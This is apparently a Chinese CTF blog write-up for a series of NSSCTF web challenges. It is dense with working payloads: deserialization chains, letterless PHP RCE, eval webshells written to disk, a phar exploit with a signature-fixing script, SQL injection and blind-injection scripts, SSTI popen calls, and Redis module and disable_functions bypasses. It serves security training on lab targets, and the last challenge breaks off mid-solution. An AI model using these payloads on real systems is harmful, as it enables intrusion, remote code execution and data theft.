前言
目标是成为web糕手
追随那位卡密的脚步,征战NSS
第一步就先把web第1~10页还没做的题先解决掉,一些没出现的题可能在我对应比赛的wp里
[UUCTF 2022 新生赛]websign
f12,右键,ctrl+u都被ban了
要么设置里把js禁用了,要么就在浏览器右上角打开开发者工具即可(我这里是火狐)
flag就在html的注释里
[HUBUCTF 2022 新生赛]checkin
弱类型比较+反序列化
<?php
show_source(__FILE__);
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
include("flag.php");//here I changed those two
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}
?>
注释里说包含的flag.php把$username
和$password
的值全修改了
那下面就要利用弱类型比较,让两个参数的值都为True,于是构造反序列化字符串
exp:
<?php
$data = array(
'username' => true,
'password' => true
);
echo serialize($data);
// a:2:{s:8:"username";b:1;s:8:"password";b:1;}
[NSSCTF 2022 Spring Recruit]babyphp
php特性
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?>
数组绕过intval
数组绕过md5强比较
md5字符串弱比较
payload:
a[]=&b1[]=1&b2[]=2&c1=QNKCDZO&c2=s878926199a
[GKCTF 2020]cve版签到
ssrf + cve-2020-7066
响应头里有hint:Flag in localhost和tips:Host must be end with ‘123’
页面提示You just view *.ctfhub.com
点击View CTFHub可以发现跳转url的get请求为?url=http://www.ctfhub.com
很明显存在ssrf漏洞
同时注意到这里的回显内容是用了get_headers
函数
取得服务器响应一个 HTTP 请求所发送的所有标头
demo:
<?php
$url = 'http://www.example.com';
print_r(get_headers($url));
?>
/* 返回内容类似于
Array
(
[0] => HTTP/1.1 200 OK
[1] => Date: Sat, 29 May 2004 12:28:13 GMT
[2] => Server: Apache/1.3.27 (Unix) (Red-Hat/Linux)
[3] => Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT
[4] => ETag: "3f80f-1b6-3e1cb03b"
[5] => Accept-Ranges: bytes
[6] => Content-Length: 438
[7] => Connection: close
[8] => Content-Type: text/html
)
*/
搜索相关的cve,可以发现CVE-2020-7066
get_headers()会截断URL中空字符
%00
后的内容,版本:7.2.29之前的7.2.x、7.3.16之前的7.3.x、7.4.4之前的7.4.x
题目的PHP版本是7.3.15,存在此漏洞
payload:
?url=http://127.0.0.123%00.ctfhub.com
flag就在get_headers返回的响应头里
[UUCTF 2022 新生赛]ez_rce
RCE
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}
过滤了挺多东西,一开始想取反一把梭的,但是发现题目环境好像是php5,不能用取反
但是没过滤反引号,可以进行命令执行
执行发现没输出结果,在反引号外面套一层var_dump
来输出
用\
来绕过ls
的过滤,用nl
读文件即可
?code=var_dump(`l\s /`);
?code=var_dump(`nl /fffffffffflagafag`);
[羊城杯 2020]easycon
进去直接访问index.php
ctrl+u查看html源码发现hint:eval post cmd
直接传参cmd=system('ls');
成功执行,读取一下index.php的源码
<?php
echo "<script>alert('eval post cmd')</script>";
eval($_POST['cmd']);
?>
没有过滤,发现同目录下有个bbbbbbbbb.txt文件
直接读取
cmd=system('cat bbbbbbbbb.txt');
得到一张图片的编码
用cyberchef解码一下得到flag
[SWPUCTF 2022 新生赛]ez_ez_php(revenge)
php伪协议
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}
else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php
先访问一下flag.php
NSSCTF{flag_is_not_here}
real_flag_is_in_ '/flag'
换个思路,试试PHP伪协议呢
flag在/flag,那就php伪协议直接打
?file=php://filter/resource=/flag
[GKCTF 2021]easycms
蝉知7.7cms
y4爷的文章:https://blog.csdn.net/solitudi/article/details/118873773
尝试访问admin.php进入登录页面
用户名admin,密码用弱口令爆破即可得到12345
进入后台
跟着文章的操作做即可
在设计-高级里面写马
在设置-微信模块随便填写点东西保存
在原始ID这里进行输入../../../system/tmp/fbpo.txt/0
,最后那个txt名称为之前修改模板提示的文件
回到刚才的设计-高级,写马,成功保存
访问www路由,成功执行shell
[第五空间 2021]pklovecloud
反序列化
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
出口在ace::echo_name
的file_get_contents函数
链子:acp::__construct -> acp::__toString -> ace::echo_name
这里为什么是acp:: -> acp::__toString
呢,原因是最底下的反序列化代码中存在echo $logData;
,可以直接触发__toString
魔术方法
然后在__construct
方法中会先指定cinder属性的值,为了指向下一个要执行的类,我们需要修改为$this->cinder = new ace;
注意$cinder
是protect属性,要url编码%00
接下来到ace::echo_name
,要实现文件读取就得先满足$this->openstack->neutron === $this->openstack->nova
而openstack
属性又被赋值为unserialize($this->docker)
,接着下面的neutron又会被赋值$this->openstack->neutron = $heat;
,要绕过这个赋值,我们可以直接让openstack的值为null,因为NULL===NULL
,那么我们使$this->docker =null
即可(其实不赋值也可以)
也可以用指针引用的方式来绕过$a = new acp($b);$a->nova = &$a->neutron;$b->docker = serialize($a);
exp:
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}
class ace
{
public $filename="flag.php";
public $openstack;
public $docker;
}
$a = new acp();
echo urlencode(serialize($a));
ctrl+u读到flag.php
<?php
$heat="asdasdasdasd53asd3a1sd3a1sd3asd";
$flag="flag in /nssctfasdasdflag";
目录穿越读根目录得到flagpublic $filename="../../../../nssctfasdasdflag";
非预期:phpinfo文件没删,直接访问
[第五空间 2021]yet_another_mysql_injection
quine注入 / 扫描后台 / 盲注
这题好像有三种解法
先f12发现hint:/?source
那么传参/?source
,得到源码
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="账号"><br/>
<input type="password" name="password" placeholder="密码"><br/>
<input type="submit" / value="登录">
</form>
</body>
</html>
只要查询数据库password的返回结果等于$password
就能回显flag
先用预期解做,quine注入:https://c1oudfl0w0.github.io/blog/2023/03/16/sql%E6%B3%A8%E5%85%A5/#quine%E6%B3%A8%E5%85%A5
过滤了空格,用/**/
代替,过滤了;
,用#
代替
构造自产生语句
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
这样就能得到flag
非预期1
扫描后台目录
发现phpmyadmin路由
访问,以用户名admin和弱密码admin进入后台
直接查到正确的密码,也可以loadfile写马getshell
非预期2
盲注得到密码,脚本 by debug0032
import requests,time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
url = "http://1.14.71.254:28610/index.php"
flag = ""
while True:
for i in alp:
data={"username":"admin","password":f"1'or/**/password/**/like/**/'{flag+i}%'#"}
resp = requests.post(url=url,data=data)
time.sleep(0.1)
if "something wrong" not in resp.text:
flag+=i
print(flag)
break
elif "~" in i:
return
get_pass()
[天翼杯 2021]esay_eval
反序列化+打redis/蚁剑绕过disable_function
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
链子很简单:B::__destruct -> A::__call
要给code赋值的话首先需要绕过wakeup
PHP版本7.4.23,而这里的正则匹配规则是匹配A类和B类名字后面的数目,要求必须为1
这里要利用php对类名大小写不敏感的特性去绕过
exp:
<?php
class A{
public $code = "";
}
class B{
}
$a=new B;
$a->a=new A;
$a->a->code="phpinfo();";
echo serialize($a);
# O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}
把payload改为O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}
比较奇怪的是这个绕过方法是CVE-2016-7124,但是版本限制是PHP7 < 7.0.10,这里为什么能执行我暂且蒙在鼓里
在phpinfo里的disable_functions发现禁用了大量的命令执行函数,rce很难
总之先写个马连上蚁剑看看
http://node4.anna.nssctf.cn:28820/?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:20:"eval($_POST["cmd"]);";}}
连接密码cmd
连上之后会发现其它目录不可访问,因为设置了open_basedir
,即PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法,而php 5.3后少有绕过的方法
查看open_basedir支持的目录
发现可访问/tmp
打Redis主从复制
在当前目录下发现config.php.swp,即vim的泄露文件,
vim -r config.php.swp
可以恢复
可以发现Redis服务的密码,数据库名、密码、用户名和主机名,那么应该是要连接Redis
参考ph0ebus的博客:https://ph0ebus.cn/post/%5B%E5%A4%A9%E7%BF%BC%E6%9D%AF%202021%5Desay_eval.html
Redis的主从复制:Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机(master),其他实例都作为备份机(slave),其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
Redis模块:在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。编写恶意so文件的代码: https://github.com/Dliv3/redis-rogue-server
利用原理:在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。很多主从复制导致任意命令执行都是通过Redis的未授权访问漏洞导致了横向移动攻击方式的发生。
上传exp.so文件
蚁剑插件连接redis数据库
利用module load
命令加载这个文件,然后才能进行RCE,所以在虚拟命令行输入
MODULE LOAD /var/www/html/exp.so
然后就能命令执行
蚁剑disable_function插件打穿
插件市场里下个disable_function插件
最后两个选项选一个就能梭了,直接命令执行
[SWPUCTF 2022 新生赛]numgame
进入,f12,右键,开发者工具发现看不了页面html源码,那就禁用JavaScript
然后f12,发现存在一个./js/1.js的路由,访问
var input = $('input'),
input_val = parseInt(input.val()),
btn_add = $('.add'),
btn_remove = $('.remove');
input.keyup(function() {
input_val = parseInt(input.val())
});
btn_add.click(function(e) {
input_val++;
input.val(input_val);
console.log(input_val);
if(input_val==18){
input_val=-20;
input.val(-20);
}
});
btn_remove.click(function(e) {
input_val--;
input.val(input_val);
});
// NSSCTF{TnNTY1RmLnBocA==}
base64解码得到NsScTf.php
访问/NsScTf.php
<?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
static function ctf(){
include("./hint2.php");
}
}
if(isset($_GET['p'])){
if (preg_match("/n|c/m",$_GET['p'], $matches))
die("no");
call_user_func($_GET['p']);
}else{
highlight_file(__FILE__);
}
对于hint: 与get相似的另一种请求协议是什么呢,这里的意思应该是不要用get请求传参p而是用post请求传参
访问hint2.php,回显有没有一种可能,类是nss2
那就传nss2::ctf
,这样call_user_func
可以调用这个方法
f12,flag在页面注释里
[SWPUCTF 2022 新生赛]ez_ez_unserialize
反序列化绕过wakeup
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
PHP版本5.5.38
链子:X::__construct -> X::__destruct
wakeup就用CVE-2016-7124绕过
exp:
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
}
$a=new X("fllllllag.php");
echo serialize($a);
// O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
payload:
O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
[HUBUCTF 2022 新生赛]HowToGetShell
无字母RCE
<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
die("invalid input!");
}
eval($mess);
过滤了字母
PHP/5.5.9-1ubuntu4.29,不能用取反,很奇怪的是这题居然能用异或,然后动态执行函数即可
异或payload:phpinfo里面可以找到flag
mess=$_="%10%08%10%09%0e%06%0f"^"%60%60%60%60%60%60%60";$_();
至于自增,不知道为什么我之前存的payload失效了,总之构造完参数带外写马即可
自增payload:
mess=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B
&_=file_put_contents('1.php','<?php @eval($_POST["shell"]); ?>')
[SWPUCTF 2022 新生赛]xff
http
Must be accessed from Xiaohong’s own computer.
就是xff头设置为127.0.0.1
Must be jump from Home Page.
就是设置Referer为Home Page
[NSSRound#4 SWPU]1zweb
phar反序列化文件上传+绕过stub限制
进入题目,发现一个查询文件的框和一个上传文件的按钮
非预期:直接查询/flag得到flag
我们先查询index.php
<?php
class LoveNss{
public $ljt;
public $dky;
public $cmd;
public function __construct(){
$this->ljt="ljt";
$this->dky="dky";
phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}
}
$file=$_POST['file'];
if(isset($_POST['file'])){
echo file_get_contents($file);
}
文件上传的upload.php
<?php
if ($_FILES["file"]["error"] > 0){
echo "上传异常";
}
else{
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
$content=file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");
if(gettype($pos)==="integer"){
echo "ltj一眼就发现了phar";
}else{
if (file_exists("./upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在";
}else{
$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
fwrite($myfile, $content);
fclose($myfile);
echo "上传成功 ./upload/".$_FILES["file"]["name"];
}
}
}else{
echo "dky不喜欢这个文件 .".$extension;
}
}
?>
显然这题会用到phar反序列化,出口在__destruct
的eval,那么就要绕过wakeup,php版本5.5.38,有cve-2016-7124
接下来是文件上传的部分
- 后缀检测:php识别phar文件是通过其文件头的stub,更确切一点来说是
__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的,可以直接修改为其他后缀 - 内容检测:将phar文件使用
gzip
命令进行压缩,可以看到压缩之后的文件中就没有了__HALT_COMPILER()
exp:
注:php.ini开启phar.readonly = Off
<?php
class LoveNss
{
public $ljt;
public $dky;
public $cmd;
public function __construct()
{
$this->ljt = "Misc";
$this->dky = "Re";
$this->cmd = 'system($_POST[1]);';
}
}
$a = new LoveNss();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置stub
$phar->setMetadata($a); // 将自定义的meta-data存入manifest,setMetadata()会将对象进行序列化
$phar->addFromString("test.txt", "test");
$phar->stopBuffering(); // 签名自动运算
rename("phar.phar", "phar.png"); // 重命名
// 生成后需要丢入010editor进行修改属性数量,绕过wakeup()函数
修改属性数量为4
注意:010Editor打开phar文件修改序列化字符串的成员个数,由于phar文件带有签名校验,需要把签名部分也改了,否则会报错。这里要用到gzip
gzip压缩:
from hashlib import sha1
import gzip
with open('phar.png', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
new_file = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile("3.png", "wb")
f_gzip.write(new_file)
f_gzip.close()
然后上传3.png
接下来用phar伪协议读文件命令执行即可
file=phar://upload/3.png&1=cat /flag
[SWPUCTF 2022 新生赛]ez_sql
让我们get传参nss,随便填个1,发现给了两个假的flag
然后拿万能密码试一下
存在sql注入
测试一下发现空格,--
,union,or会被替换掉,其中union可以双写绕过
因为会回显两列,我们这里用联合查询要查1,2列,前面填0闭合使其不回显
爆数据库名
nss=0'uniunionon/**/select/**/1,2,(select/**/database())#
得到数据库名NSS_db
爆表名,注意or会被替换掉要双写
nss=0'uniunionon/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema="NSS_db")#
得到表名NSS_tb,users
爆列名
nss=0'uniunionon/**/select/**/1,2,(select/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name="NSS_tb")#
得到列名id,Secr3t,flll444g
爆字段(哼,想骗我,不要紧,两个我都一样的查啊)
nss=0'uniunionon/**/select/**/1,2,(select/**/group_concat(Secr3t,'|',flll444g)/**/from/**/NSS_tb)#
[SWPUCTF 2021 新生赛]hardrce_3
自增rce+绕过disable_functions
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\^','\~','\|'];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
}}
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
{
die("Ra'sAlGhul说用字母数字是没有灵魂的!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?>
不让用字母数字,还不让用自增异或,那就用自增,payload用上面HowToGetShell的就行
?wllm=%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B
post:
_=phpinfo();
先看phpinfo
发现禁用了大量函数
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl
然后写马
_=file_put_contents('1.php','<?php @eval($_POST["shell"]); ?>')
连蚁剑
php5.6.40,连上后用插件绕过disable_functions,选ldpreload
上传成功后直接去根目录获取flag
[NSSRound#8 Basic]MyDoor
任意文件包含+非法传参
进入题目,什么都没有
存在任意文件读取,先伪协议读一下index.php
?file=php://filter/read=convert.base64-encode/resource=index.php
base64解码一下
<?php
error_reporting(0);
if (isset($_GET['N_S.S'])) {
eval($_GET['N_S.S']);
}
if(!isset($_GET['file'])) {
header('Location:/index.php?file=');
} else {
$file = $_GET['file'];
if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
include $file;
} else {
die('error.');
}
}
直接看第一个if语句,非法传参命令执行即可
flag在phpinfo
?N[S.S=phpinfo();
[NCTF 2018]flask真香
ssti
尝试切换demo页面,出现报错
测试存在ssti注入
手动fuzz一下,发现过滤了class,getattr,builtins,import,os,open
可以用字符串拼接来绕过
{{""['__cla''ss__']}}
那么查找子类
{{""['__cla''ss__'].__bases__[0]['__subcla''sses__']()}}
找到其中的<class 'os._wrap_close'>
类,不搓脚本的话善用ctrl+f找<
{{""['__cla''ss__'].__bases__[0]['__subcla''sses__']()[399]}}
然后命令执行即可
{{''['__cla''ss__'].__bases__[0]['__subcla''sses__']()[399].__init__.__globals__['pop''en']('ls /').read()}}
[SWPUCTF 2022 新生赛]webdog1__start
信息泄露+rce+md5弱比较
进入题目,ctrl+u查看页面源码,发现php源码
if (isset($_GET['web']))
{
$first=$_GET['web'];
if ($first==md5($first))
md5弱比较,自身和md5后都是0e开头的字符串是0e215962017
